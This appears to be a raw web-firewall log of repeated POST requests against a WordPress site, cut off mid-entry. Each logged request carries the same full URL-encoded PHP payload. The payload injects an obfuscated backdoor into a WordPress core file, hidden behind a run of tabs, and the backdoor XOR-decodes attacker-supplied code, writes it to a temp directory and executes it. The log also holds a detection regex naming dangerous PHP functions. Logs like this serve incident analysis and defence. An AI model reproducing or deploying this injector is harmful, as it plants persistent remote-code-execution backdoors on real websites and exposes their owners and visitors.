%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\naccept:*\/*\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvM1bvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-length:3790\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\nsec-fetch-mode:navigate\n\ngZ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-metadata-registry.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx72%255Cx65%255Cx73%255Cx6Furce%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524entry%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524pset%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx72%255Cx65%255Cx73%255Cx6Furce%2522%255D%2529%253B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520%2524f%2520%253D%25200%253B%2520do%257B%2524dat%2520.%253D%2520chr%2528ord%2528%2524pset%255B%2524f%255D%2529%2520%255E%252057%2529%253B%2524f%252B%252B%253B%257D%2520while%2528%2524f%2520%253C%2520strlen%2528%2524pset%2529%2529%253B%2520foreach%2520%2528%2524entry%2520as%2520%2524token%2529%253A%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524token%2529%2520%257C%257C%2520%2521is_writable%2528%2524token%2529%2520%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2522%2524token\/.obj%2522%253B%2520if%2520%2528file_put_contents%2528%2524ent%252C%2520%2524dat%2529%2529%2520%257B%2520require%2520%2524ent%253B%2520unlink%2528%2524ent%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:43:42","62.210.185.4","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> YA:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-metadata-registry.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx72%255Cx65%255Cx73%255Cx6Furce%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524entry%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524pset%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx72%255Cx65%255Cx73%255Cx6Furce%2522%255D%2529%253B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520%2524f%2520%253D%25200%253B%2520do%257B%2524dat%2520.%253D%2520chr%2528ord%2528%2524pset%255B%2524f%255D%2529%2520%255E%252057%2529%253B%2524f%252B%252B%253B%257D%2520while%2528%2524f%2520%253C%2520strlen%2528%2524pset%2529%2529%253B%2520foreach%2520%2528%2524entry%2520as%2520%2524token%2529%253A%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524token%2529%2520%257C%257C%2520%2521is_writable%2528%2524token%2529%2520%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2522%2524token\/.obj%2522%253B%2520if%2520%2528file_put_contents%2528%2524ent%252C%2520%2524dat%2529%2529%2520%257B%2520require%2520%2524ent%253B%2520unlink%2528%2524ent%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\naccept:*\/*\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJHRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:3790\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\nsec-fetch-mode:navigate\n\nYA=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-metadata-registry.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx72%255Cx65%255Cx73%255Cx6Furce%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524entry%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524pset%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx72%255Cx65%255Cx73%255Cx6Furce%2522%255D%2529%253B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520%2524f%2520%253D%25200%253B%2520do%257B%2524dat%2520.%253D%2520chr%2528ord%2528%2524pset%255B%2524f%255D%2529%2520%255E%252057%2529%253B%2524f%252B%252B%253B%257D%2520while%2528%2524f%2520%253C%2520strlen%2528%2524pset%2529%2529%253B%2520foreach%2520%2528%2524entry%2520as%2520%2524token%2529%253A%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524token%2529%2520%257C%257C%2520%2521is_writable%2528%2524token%2529%2520%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2522%2524token\/.obj%2522%253B%2520if%2520%2528file_put_contents%2528%2524ent%252C%2520%2524dat%2529%2529%2520%257B%2520require%2520%2524ent%253B%2520unlink%2528%2524ent%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:43:46","78.142.18.172","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ka:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-metadata-registry.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx72%255Cx65%255Cx73%255Cx6Furce%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524entry%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524pset%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx72%255Cx65%255Cx73%255Cx6Furce%2522%255D%2529%253B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520%2524f%2520%253D%25200%253B%2520do%257B%2524dat%2520.%253D%2520chr%2528ord%2528%2524pset%255B%2524f%255D%2529%2520%255E%252057%2529%253B%2524f%252B%252B%253B%257D%2520while%2528%2524f%2520%253C%2520strlen%2528%2524pset%2529%2529%253B%2520foreach%2520%2528%2524entry%2520as%2520%2524token%2529%253A%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524token%2529%2520%257C%257C%2520%2521is_writable%2528%2524token%2529%2520%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2522%2524token\/.obj%2522%253B%2520if%2520%2528file_put_contents%2528%2524ent%252C%2520%2524dat%2529%2529%2520%257B%2520require%2520%2524ent%253B%2520unlink%2528%2524ent%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\naccept:*\/*\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvF2RvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:3790\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\nsec-fetch-mode:navigate\n\nKa=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-metadata-registry.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx72%255Cx65%255Cx73%255Cx6Furce%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524entry%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524pset%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx72%255Cx65%255Cx73%255Cx6Furce%2522%255D%2529%253B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520%2524f%2520%253D%25200%253B%2520do%257B%2524dat%2520.%253D%2520chr%2528ord%2528%2524pset%255B%2524f%255D%2529%2520%255E%252057%2529%253B%2524f%252B%252B%253B%257D%2520while%2528%2524f%2520%253C%2520strlen%2528%2524pset%2529%2529%253B%2520foreach%2520%2528%2524entry%2520as%2520%2524token%2529%253A%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524token%2529%2520%257C%257C%2520%2521is_writable%2528%2524token%2529%2520%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2522%2524token\/.obj%2522%253B%2520if%2520%2528file_put_contents%2528%2524ent%252C%2520%2524dat%2529%2529%2520%257B%2520require%2520%2524ent%253B%2520unlink%2528%2524ent%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:44:34","207.180.219.73","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> wv:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-metadata-registry.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx72%255Cx65%255Cx73%255Cx6Furce%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524entry%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524pset%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx72%255Cx65%255Cx73%255Cx6Furce%2522%255D%2529%253B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520%2524f%2520%253D%25200%253B%2520do%257B%2524dat%2520.%253D%2520chr%2528ord%2528%2524pset%255B%2524f%255D%2529%2520%255E%252057%2529%253B%2524f%252B%252B%253B%257D%2520while%2528%2524f%2520%253C%2520strlen%2528%2524pset%2529%2529%253B%2520foreach%2520%2528%2524entry%2520as%2520%2524token%2529%253A%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524token%2529%2520%257C%257C%2520%2521is_writable%2528%2524token%2529%2520%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2522%2524token\/.obj%2522%253B%2520if%2520%2528file_put_contents%2528%2524ent%252C%2520%2524dat%2529%2529%2520%257B%2520require%2520%2524ent%253B%2520unlink%2528%2524ent%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\naccept:*\/*\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvq3LvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-length:3790\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\nsec-fetch-mode:navigate\n\nwv=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-metadata-registry.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx72%255Cx65%255Cx73%255Cx6Furce%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524entry%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524pset%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx72%255Cx65%255Cx73%255Cx6Furce%2522%255D%2529%253B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520%2524f%2520%253D%25200%253B%2520do%257B%2524dat%2520.%253D%2520chr%2528ord%2528%2524pset%255B%2524f%255D%2529%2520%255E%252057%2529%253B%2524f%252B%252B%253B%257D%2520while%2528%2524f%2520%253C%2520strlen%2528%2524pset%2529%2529%253B%2520foreach%2520%2528%2524entry%2520as%2520%2524token%2529%253A%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524token%2529%2520%257C%257C%2520%2521is_writable%2528%2524token%2529%2520%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2522%2524token\/.obj%2522%253B%2520if%2520%2528file_put_contents%2528%2524ent%252C%2520%2524dat%2529%2529%2520%257B%2520require%2520%2524ent%253B%2520unlink%2528%